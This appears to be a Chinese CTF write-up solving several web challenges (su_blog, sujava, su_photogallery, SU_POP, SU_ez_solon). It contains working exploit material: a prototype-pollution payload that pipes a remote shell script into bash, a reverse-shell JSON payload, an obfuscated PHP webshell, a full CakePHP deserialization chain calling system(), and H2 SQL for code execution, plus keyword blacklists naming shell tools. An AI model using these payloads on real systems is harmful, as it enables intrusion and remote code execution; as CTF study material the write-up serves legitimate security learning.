su_blog 开局有个注册页面,注册后登录
登录的时候有session
在博客的最下方有这样一句话
知道了secret,session是能被爆破出来的,上面的session第一个点符号之前的base64解码出来是{“username”:”用户名“}
博客诞生事件就是docker创建时间,写个脚本
1 2 3 4 5 6 7 8 import hashlibimport timetimestamp = int (time.time()) starttime = timestamp -300000 with open ('./1.txt' ,'w' ) as f: dict = {i:hashlib.md5(str (i).encode()).hexdigest() for i in range (starttime,timestamp)} for key,value in dict .items(): f.write(f"{value} \n" )
用flask-unsign爆破一下得到secret
伪造cookie
用管理员登录只是多了个管理友链的功能,可以自己添加删除友链,添加友链的url由自己决定,我试了一下,发现好像除了能alert一下没有其他什么用了。
有个Articles,这里点击文章有一个任意文件读取漏洞,经过测试发现是会把../替换成空
通过/proc/self/cmdline读到启动命令为pythonapp/app.py试着找找,成功读到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 from flask import *import time,os,json,hashlibfrom pydash import set_from waf import pwaf,cwafapp = Flask(__name__) app.config['SECRET_KEY' ] = hashlib.md5(str (int (time.time())).encode()).hexdigest() users = {"testuser" : "password" } BASE_DIR = '/var/www/html/myblog/app' articles = { 1 : "articles/article1.txt" , 2 : "articles/article2.txt" , 3 : "articles/article3.txt" } friend_links = [ {"name" : "bkf1sh" , "url" : "https://ctf.org.cn/" }, {"name" : "fushuling" , "url" : "https://fushuling.com/" }, {"name" : "yulate" , "url" : "https://www.yulate.com/" }, {"name" : "zimablue" , "url" : "https://www.zimablue.life/" }, {"name" : "baozongwi" , "url" : "https://baozongwi.xyz/" }, ] class User (): def __init__ (self ): pass user_data = User() @app.route('/' ) def index (): if 'username' in session: return render_template('blog.html' , articles=articles, friend_links=friend_links) return redirect(url_for('login' )) @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] if username in users and users[username] == password: session['username' ] = username return redirect(url_for('index' )) else : return "Invalid credentials" , 403 return render_template('login.html' ) @app.route('/register' , methods=['GET' , 'POST' ] ) def register (): if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] users[username] = password return redirect(url_for('login' )) return render_template('register.html' ) @app.route('/change_password' , methods=['GET' , 'POST' ] ) def change_password (): if 'username' not in session: return redirect(url_for('login' )) if request.method == 'POST' : old_password = request.form['old_password' ] new_password = request.form['new_password' ] confirm_password = request.form['confirm_password' ] if users[session['username' ]] != old_password: flash("Old password is incorrect" , "error" ) elif new_password != confirm_password: flash("New passwords do not match" , "error" ) else : users[session['username' ]] = new_password flash("Password changed successfully" , "success" ) return redirect(url_for('index' )) return render_template('change_password.html' ) @app.route('/friendlinks' ) def friendlinks (): if 'username' not in session or session['username' ] != 'admin' : return redirect(url_for('login' )) return render_template('friendlinks.html' , links=friend_links) @app.route('/add_friendlink' , methods=['POST' ] ) def add_friendlink (): if 'username' not in session or session['username' ] != 'admin' : return redirect(url_for('login' )) name = request.form.get('name' ) url = request.form.get('url' ) if name and url: friend_links.append({"name" : name, "url" : url}) return redirect(url_for('friendlinks' )) @app.route('/delete_friendlink/<int:index>' ) def delete_friendlink (index ): if 'username' not in session or session['username' ] != 'admin' : return redirect(url_for('login' )) if 0 <= index < len (friend_links): del friend_links[index] return redirect(url_for('friendlinks' )) @app.route('/article' ) def article (): if 'username' not in session: return redirect(url_for('login' )) file_name = request.args.get('file' , '' ) if not file_name: return render_template('article.html' , file_name='' , content="未提供文件名。" ) blacklist = ["waf.py" ] if any (blacklisted_file in file_name for blacklisted_file in blacklist): return render_template('article.html' , file_name=file_name, content="大黑阔不许看" ) if not file_name.startswith('articles/' ): return render_template('article.html' , file_name=file_name, content="无效的文件路径。" ) if file_name not in articles.values(): if session.get('username' ) != 'admin' : return render_template('article.html' , file_name=file_name, content="无权访问该文件。" ) file_path = os.path.join(BASE_DIR, file_name) file_path = file_path.replace('../' , '' ) try : with open (file_path, 'r' , encoding='utf-8' ) as f: content = f.read() except FileNotFoundError: content = "文件未找到。" except Exception as e: app.logger.error(f"Error reading file {file_path} : {e} " ) content = "读取文件时发生错误。" return render_template('article.html' , file_name=file_name, content=content) @app.route('/Admin' , methods=['GET' , 'POST' ] ) def admin (): if request.args.get('pass' )!="SUers" : return "nonono" if request.method == 'POST' : try : body = request.json if not body: flash("No JSON data received" , "error" ) return jsonify({"message" : "No JSON data received" }), 400 key = body.get('key' ) value = body.get('value' ) if key is None or value is None : flash("Missing required keys: 'key' or 'value'" , "error" ) return jsonify({"message" : "Missing required keys: 'key' or 'value'" }), 400 if not pwaf(key): flash("Invalid key format" , "error" ) return jsonify({"message" : "Invalid key format" }), 400 if not cwaf(value): flash("Invalid value format" , "error" ) return jsonify({"message" : "Invalid value format" }), 400 set_(user_data, key, value) flash("User data updated successfully" , "success" ) return jsonify({"message" : "User data updated successfully" }), 200 except json.JSONDecodeError: flash("Invalid JSON data" , "error" ) return jsonify({"message" : "Invalid JSON data" }), 400 except Exception as e: flash(f"An error occurred: {str (e)} " , "error" ) return jsonify({"message" : f"An error occurred: {str (e)} " }), 500 return render_template('admin.html' , user_data=user_data) @app.route('/logout' ) def logout (): session.pop('username' , None ) flash("You have been logged out." , "info" ) return redirect(url_for('login' )) if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=5000 )
Admin路由下_set函数会造成原型链污染
会根据你上传的Path和value给object对应的属性进行创建或赋值
user_data是一个user实例,但是源码中对key和value都进行了waf
最终payload
1 payload={"key" :"__init__.__globals__.json.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2" ,"value" :"*;import os;os.system('curl http://156.238.233.9/shell.sh|bash');#" }
waf
1 2 3 4 5 6 7 8 9 10 11 12 13 key_blacklist = [ '__file__' , 'app' , 'router' , 'name_index' , 'directory_handler' , 'directory_view' , 'os' , 'path' , 'pardir' , '_static_folder' , '__loader__' , '0' , '1' , '3' , '4' , '5' , '6' , '7' , '8' , '9' , ] value_blacklist = [ 'ls' , 'dir' , 'nl' , 'nc' , 'cat' , 'tail' , 'more' , 'flag' , 'cut' , 'awk' , 'strings' , 'od' , 'ping' , 'sort' , 'ch' , 'zip' , 'mod' , 'sl' , 'find' , 'sed' , 'cp' , 'mv' , 'ty' , 'grep' , 'fd' , 'df' , 'sudo' , 'more' , 'cc' , 'tac' , 'less' , 'head' , '{' , '}' , 'tar' , 'zip' , 'gcc' , 'uniq' , 'vi' , 'vim' , 'file' , 'xxd' , 'base64' , 'date' , 'env' , '?' , 'wget' , '"' , 'id' , 'whoami' , 'readflag' ]
sujava 我在生成这道题的dockerfile时遇到了一些小差错
第一是dockerfile明明将同目录下的start.sh复制到容器根目录下了运行容器却说找不到start.sh
这是因为下载下来的文件在vscode中打开时默认是CRLF换行符(即windows的标准换行符)
而start.sh是要在Linux中运行的,所以换行符要为LF(即下图右下角)
第二就是环境附件没给Java8这个目录,所以我在Windows上把我java8的jdk复制进去了,最后发现Windows版的在Linux中不兼容,运行不了,换成linux版的jdk就成功了。
附件是一个类,hint说给出的源码进行了混淆,用的环境是mysql-connector-8.0.28
下图是用idea直接打开class文件
但是如果用jadx对其进行反编译
这个类很明显是对传入的数据库连接语句进行了一些黑名单检测
有个jdbc路由
做题过程 当mysql版本为8.x时的攻击payload是jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
而autoDeserialize被ban了
而autoDeserialize字段的作用是当执行SHOW SESSION
读取到的结果集的第一,二列有blob类型的值时,自动反序列化。
意思是如果没这个字段了读取了就读取了,而反序列化就是这个漏洞的漏洞点,漏洞点不能替换,所以我认为要么找到一个新的字段能够触发反序列化,要么对黑名单检测进行绕过
但是我没发现有啥地方说了有哪些依赖
我看题目给的jar包,好像一条yso能用的链子都没有
这里可以看到username和password并没有合并到connection的url里面。所以可用参数只有host,port,database
反编译一下给的jar包,调试发现extraparam参数要key:value的格式,根据&分割参数通过putVal将key计算hash值后放进map中。
所以user可以放进extraparams,但是因为是通过hash计算放进map中的,放的位置位于下图(不知道这样能不能成功识别user)
但是我还是不知道如何绕过autodeserialize检测
nm原来url编码就能绕过(因为mysql-connector支持url编码)
mysql-connection有另一种连接url的格式
将所有属性都写成ADDRESS=(host=)()并对其进行url编码就能绕过。
然后用mysql-fake-server进行文件读取就行,但是我不知道为什么读不了,到connection那一步就一直转圈
su_photogallery 登录后就一个上传图片的接口,可以发单张图片或者zip,上传文件会发给unzip.php。
访问robots.txt提示访问node.md(每次我都会忘记有robots.txt这个东西)
其实node.md也没什么关键信息(看了wp才知道“不想大费周章改变我原本配置的环境”或许指的就是网站是用php -s 这个平时自己用来测试网站的命令开启的)
当使用了PHP Built-in Server(PHP内置服务器)(php -S开启的php服务就是使用的内置服务器)且php<=7.4.21时有个漏洞(这题看不到版本,只能自己尝试)
payload(只能用burpsuite,yakit不行,并且要把burpsuite的自动修正Content-length给关了)
1 2 3 4 5 6 GET /unzip.php HTTP/1.1 Host: 192.168.31.253:80 GET /aa.css HTTP/1.1
成功读到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 <?php error_reporting (0 );function get_extension ($filename ) { return pathinfo ($filename , PATHINFO_EXTENSION); } function check_extension ($filename ,$path ) { $filePath = $path . DIRECTORY_SEPARATOR . $filename ; if (is_file ($filePath )) { $extension = strtolower (get_extension ($filename )); if (!in_array ($extension , ['jpg' , 'jpeg' , 'png' , 'gif' ])) { if (!unlink ($filePath )) { return false ; } else { return false ; } } else { return true ; } } else { return false ; } } function file_rename ($path ,$file ) { $randomName = md5 (uniqid ().rand (0 , 99999 )) . '.' . get_extension ($file ); $oldPath = $path . DIRECTORY_SEPARATOR . $file ; $newPath = $path . DIRECTORY_SEPARATOR . $randomName ; if (!rename ($oldPath , $newPath )) { unlink ($path . DIRECTORY_SEPARATOR . $file ); return false ; } else { return true ; } } function move_file ($path ,$basePath ) { foreach (glob ($path . DIRECTORY_SEPARATOR . '*' ) as $file ) { $destination = $basePath . DIRECTORY_SEPARATOR . basename ($file ); if (!rename ($file , $destination )){ return false ; } } return true ; } function check_base ($fileContent ) { $keywords = ['eval' , 'base64' , 'shell_exec' , 'system' , 'passthru' , 'assert' , 'flag' , 'exec' , 'phar' , 'xml' , 'DOCTYPE' , 'iconv' , 'zip' , 'file' , 'chr' , 'hex2bin' , 'dir' , 'function' , 'pcntl_exec' , 'array' , 'include' , 'require' , 'call_user_func' , 'getallheaders' , 'get_defined_vars' ,'info' ]; $base64_keywords = []; foreach ($keywords as $keyword ) { $base64_keywords [] = base64_encode ($keyword ); } foreach ($base64_keywords as $base64_keyword ) { if (strpos ($fileContent , $base64_keyword )!== false ) { return true ; } else { return false ; } } } function check_content ($zip ) { for ($i = 0 ; $i < $zip ->numFiles; $i ++) { $fileInfo = $zip ->statIndex ($i ); $fileName = $fileInfo ['name' ]; if (preg_match ('/\.\.(\/|\.|%2e%2e%2f)/i' , $fileName )) { return false ; } $fileContent = $zip ->getFromName ($fileName ); if (preg_match ('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i' , $fileContent ) || check_base ($fileContent )) { return false ; } else { continue ; } } return true ; } function unzip ($zipname , $basePath ) { $zip = new ZipArchive ; if (!file_exists ($zipname )) { return "zip_not_found" ; } if (!$zip ->open ($zipname )) { return "zip_open_failed" ; } if (!check_content ($zip )) { return "malicious_content_detected" ; } $randomDir = 'tmp_' .md5 (uniqid ().rand (0 , 99999 )); $path = $basePath . DIRECTORY_SEPARATOR . $randomDir ; if (!mkdir ($path , 0777 , true )) { $zip ->close (); return "mkdir_failed" ; } if (!$zip ->extractTo ($path )) { $zip ->close (); } else { for ($i = 0 ; $i < $zip ->numFiles; $i ++) { $fileInfo = $zip ->statIndex ($i ); $fileName = $fileInfo ['name' ]; if (!check_extension ($fileName , $path )) { continue ; } if (!file_rename ($path , $fileName )) { continue ; } } } if (!move_file ($path , $basePath )) { $zip ->close (); return "move_failed" ; } rmdir ($path ); $zip ->close (); return true ; } $uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/suimages/' ;if (!is_dir ($uploadDir )) { mkdir ($uploadDir , 0777 , true ); } if (isset ($_FILES ['file' ]) && $_FILES ['file' ]['error' ] === UPLOAD_ERR_OK) { $uploadedFile = $_FILES ['file' ]; $zipname = $uploadedFile ['tmp_name' ]; $path = $uploadDir ; $result = unzip ($zipname , $path ); if ($result === true ) { header ("Location: index.html?status=success" ); exit (); } else { header ("Location: index.html?status=$result " ); exit (); } } else { header ("Location: index.html?status=file_error" ); exit (); }
unzip函数里面有个逻辑漏洞,在extractTo()解压zip时如果出错了,就会关闭zip流,并且跳过else语句,而check_extension函数和rename函数就是在else里面,这样就跳过了这两个函数,直接将临时文件夹中的文件移到uoload/suimages目录下。
所以我们只需要将我们要留下的文件放在zip中的第一个的位置,将解压时会报错的文件放第二个。这样就能成功将php文件写入目标服务器中
修改第二个文件的文件名(这里文件名必须只有/,不能有其他字母,.txt都要换成/)
成功上传
官方payload,利用了php中base64解码的包容性,会忽略无法识别的字符
1 2 3 4 5 6 7 8 9 10 <?php $a = 'edoced_46esab' ;$b = strrev ($a );$d = 'c3~@#@#@lz!@dGVt' ;$s = $b ($d );echo $sys ;$s ($_POST [1 ]);?>
SU_POP 配了两个小时的环境…
给的exp没mysql服务,db是我自己加的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 version: "3" services: web: build: ../ ports: - "10021:80" depends_on: - db db: image: mysql:5.7 restart: always environment: MYSQL_ROOT_PASSWORD: root MYSQL_DATABASE: my_app MYSQL_USER: my_app MYSQL_PASSWORD: secret
原来容器之间还能这样用host
给了一个反序列化入口
上网搜索了一下cakephp是有pop链子的,但是题目所用的版本太高了之前的链子不能直接拿来用。
入口点需要换一下。
全局搜索__destruct,发现RejectedPromise调用了__toString
可以调用__call(这个__call和下面的call都是原漏洞链子中的类)
任意方法调用
因为是无参调用的__call,所以php引擎在给__call传递参数时args这个参数是null,我们找的sink点也是要无参的。
MockClass#generate
脚本构造 重学了一下php反序列化,感觉php反序列化跟Java比起来有点草率,只管全限定名字对不对,没有SerializeUID这些东西。好像反序列化时也不管序列化字符串的属性跟自己源码的属性是不是一个修饰符,拿来就反序列化。
我的答辩exp(可以去看infernity师傅的,很简洁)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 <?php namespace React \Promise \Internal ;use Cake \Http \Response ;use React \Promise \PromiseInterface ;use function React \Promise \_checkTypehint ;use function React \Promise \resolve ;final class RejectedPromise { private $reason ; private $handled = false ; public function __destruct ( ) { if ($this ->handled) { return ; } $handler = $this ->set_rejection_handler (null ); if ($handler === null ) { $message = 'Unhandled promise rejection with ' . $this ->reason; \error_log ($message ); return ; } try { $handler ($this ->reason); } catch (\Throwable $e ) { \preg_match ('/^([^:\s]++)(.*+)$/sm' , (string ) $e , $match ); \assert (isset ($match [1 ], $match [2 ])); $message = 'Fatal error: Uncaught ' . $match [1 ] . ' from unhandled promise rejection handler' . $match [2 ]; \error_log ($message ); exit (255 ); } } public function __construct ( ) { $this ->reason = new Response (); }function set_rejection_handler (?callable $callback ): ?callable { static $current = null ; $previous = $current ; $current = $callback ; return $previous ; } } namespace Cake \Http ;use Cake \Core \Configure ;use Cake \Http \Cookie \CookieCollection ;use Cake \Http \Cookie \CookieInterface ;use Cake \Http \Exception \NotFoundException ;use Cake \ORM \Table ;use DateTime ;use DateTimeInterface ;use DateTimeZone ;use InvalidArgumentException ;use Laminas \Diactoros \MessageTrait ;use Laminas \Diactoros \Stream ;use Psr \Http \Message \ResponseInterface ;use Psr \Http \Message \StreamInterface ;use SplFileInfo ;use Stringable ;use function Cake \Core \env ;use function Cake \I18n \__d ;class Response { public $stream ; public function __toString ( ): string { $this ->stream->rewind (); return $this ->stream->getContents (); } public function __construct ( ) { $this ->stream = new Table (); } } namespace Cake \ORM ;use ArrayObject ;use BadMethodCallException ;use Cake \Collection \CollectionInterface ;use Cake \Core \App ;use Cake \Core \Configure ;use Cake \Core \Exception \CakeException ;use Cake \Database \Connection ;use Cake \Database \Exception \DatabaseException ;use Cake \Database \Expression \QueryExpression ;use Cake \Database \Schema \TableSchemaInterface ;use Cake \Database \TypeFactory ;use Cake \Datasource \ConnectionManager ;use Cake \Datasource \EntityInterface ;use Cake \Datasource \Exception \InvalidPrimaryKeyException ;use Cake \Datasource \RepositoryInterface ;use Cake \Datasource \RulesAwareTrait ;use Cake \Event \EventDispatcherInterface ;use Cake \Event \EventDispatcherTrait ;use Cake \Event \EventListenerInterface ;use Cake \Event \EventManager ;use Cake \ORM \Association \BelongsTo ;use Cake \ORM \Association \BelongsToMany ;use Cake \ORM \Association \HasMany ;use Cake \ORM \Association \HasOne ;use Cake \ORM \Exception \MissingEntityException ;use Cake \ORM \Exception \PersistenceFailedException ;use Cake \ORM \Exception \RolledbackTransactionException ;use Cake \ORM \Query \DeleteQuery ;use Cake \ORM \Query \InsertQuery ;use Cake \ORM \Query \QueryFactory ;use Cake \ORM \Query \SelectQuery ;use Cake \ORM \Query \UpdateQuery ;use Cake \ORM \Rule \IsUnique ;use Cake \Utility \Inflector ;use Cake \Validation \ValidatorAwareInterface ;use Cake \Validation \ValidatorAwareTrait ;use Closure ;use Exception ;use InvalidArgumentException ;use PhpParser \Node \Name ;use Psr \SimpleCache \CacheInterface ;use ReflectionFunction ;use ReflectionNamedType ;use function Cake \Core \deprecationWarning ;use function Cake \Core \namespaceSplit ;class Table { protected BehaviorRegistry $_behaviors ; public function __call (string $method , array $args ): mixed { if ($this ->_behaviors->hasMethod ($method )) { return $this ->_behaviors->call ($method , $args ); } if (preg_match ('/^find(?:\w+)?By/' , $method ) > 0 ) { return $this ->_dynamicFinder ($method , $args ); } throw new BadMethodCallException ( sprintf ('Unknown method `%s` called on `%s`' , $method , static ::class ), ); } public function __construct ( ) { $this ->_behaviors = new BehaviorRegistry (); } } namespace Cake \ORM ;use Cake \Core \ObjectRegistry ;use Cake \ORM \Exception \MissingBehaviorException ;use LogicException ;use PHPUnit \Event \Code \Throwable ;use PHPUnit \Framework \MockObject \Generator \MockClass ;use React \Promise \Internal \RejectedPromise ;class BehaviorRegistry { protected array $_methodMap = []; protected array $_loaded = []; public function __construct ( ) { $mockClass = new MockClass (); $this ->_methodMap = ["rewind" =>["a" ,"generate" ]]; $this ->_loaded = ["a" =>$mockClass ]; } public function hasMethod (string $method ): bool { $method = strtolower ($method ); return isset ($this ->_methodMap[$method ]); } public function call (string $method , array $args = [] ): mixed { $method = strtolower ($method ); if ($this ->hasMethod ($method ) && $this ->has ($this ->_methodMap[$method ][0 ])) { [$behavior , $callMethod ] = $this ->_methodMap[$method ]; return $this ->_loaded[$behavior ]->{$callMethod }(...$args ); } throw new BadMethodCallException ( sprintf ('Cannot call `%s`, it does not belong to any attached behavior.' , $method ), ); } public function has (string $name ): bool { return isset ($this ->_loaded[$name ]); } } namespace PHPUnit \Framework \MockObject \Generator ;use React \Promise \Internal \RejectedPromise ;use function call_user_func ;use function class_exists ;use PHPUnit \Framework \MockObject \ConfigurableMethod ;class MockClass { private readonly string $mockName ; private readonly string $classCode ; public function __construct ( ) { $this ->classCode = "system('find /flag.txt -exec cat /flag.txt \;');" ; $this ->mockName="test" ; } public function generate ( ): string { if (!class_exists ($this ->mockName, false )) { eval ($this ->classCode); call_user_func ( [ $this ->mockName, '__phpunit_initConfigurableMethods' , ], ...$this ->configurableMethods, ); } return $this ->mockName; } } $rejectedPromise = new RejectedPromise ();echo (base64_encode (serialize ($rejectedPromise )));
发现没权限,用suid提权
1 find /flag.txt -exec cat /flag.txt \;
SU_ez_solon solon漏洞参考:Solonv2.5.11-RCE - N1Rvana’s Blog
Magic In Java API 学习记录-先知社区
做题过程 是用hessian2来反序列化的,看了下依赖没有常见的hessian利用链,我见过的有洞的依赖也只有h2和fastjson,但是fastjson版本是1.2.83(我记得最高的是1.2.80?),这个版本好像也没什么洞可以用了。因为这道题的名字是solon,用的也是solon框架,怀疑是solon有洞。
看了一下solon的洞,在接收参数时可以实例化@type参数后的类,并且可以调用对应setter给字段赋值。原本的rce处是sun.print.UnixPrintServiceLookup#execmd,这个方法会在UnixPrintServiceLookup的构造函数中被间接调用,但是要控制UnixPrintServiceLookup的一个属性lpcAllCom(因为win的jdk上没有这个类,只有类似的Win32PrintServiceLookup,并且很多方法还是native,我又懒得去在wsl中弄个idea了。就用下参考文章中的图)
payload是这样
1 2 3 4 5 6 7 8 9 { "name" : { "@type" : "sun.print.UnixPrintServiceLookup" , "lpcFirstCom" : [ ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;" , ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;" ] } }
但是这道题设置了个SecurityManager,不许你命令执行了
确实没什么思路了。
复现过程 fastjson在JSON->String的过程中会调用getter,在String->JSON的过程中会调用setter,因为题目直接在反序列化后调用了toString所以只需要反序列化一个实现了JSON的类,这里用的是JSONObject。
h2进行连接是通过JdbcConnection构造函数进行连接的。
因为路由处理在最后调用了toString,可以用JSONObject#toString触发value的getter(复现了这么多fastjson的漏洞了我还是不记得这个东西,我到底复现了个啥。。。)
通过codeql查询得到UnpooledDataSource存在getConnection调用了JdbcConnection构造函数(参数都是可控的)
调用栈
所以逻辑还是很简单的,只需要构造一个UnpooledDataSource放进JSONObject里就可以了。
遇到了一个莫名其妙的问题,反序列化的时候所有的类在加载的时候都显示classnotfoundexception,怀疑是编码出了问题
哎哟我真是唐得没边了。我打异常断点,结果在程序运行之前就显示classnotfoundexception,这是正常的,下次要勾选Caught(抛出)类型的异常。很多报错都只是警告,并不影响程序运行,这种就不用管他。明明要用反序列化后的对象调用toString,我压根没写这句话还对着孤单的hessian.readObejct()思考为什么报错。白白浪费一上午。。。
EXP
2.sql,因为设置了个安全管理器,但只限制了命令执行,所以可以直接设置成null然后命令执行
成功复现
这是直接命令执行,试试文件读取
2.sql
1 2 CREATE ALIAS DASHING AS 'void dashingRead() throws java.io.IOException {java.io.File file = new java.io.File("D://flag.txt");java.io.BufferedReader br = new java.io.BufferedReader(new java.io.FileReader(file));String line;while((line = br.readLine()) != null){System.out.println(line);}}' ;CALL DASHING();
还可以用system.load()加载so文件,但在win的环境下好像有点麻烦,而且要写文件?感觉有点麻烦。好像还有种内存马的做法,下次碰见了专门的内存马题再说吧。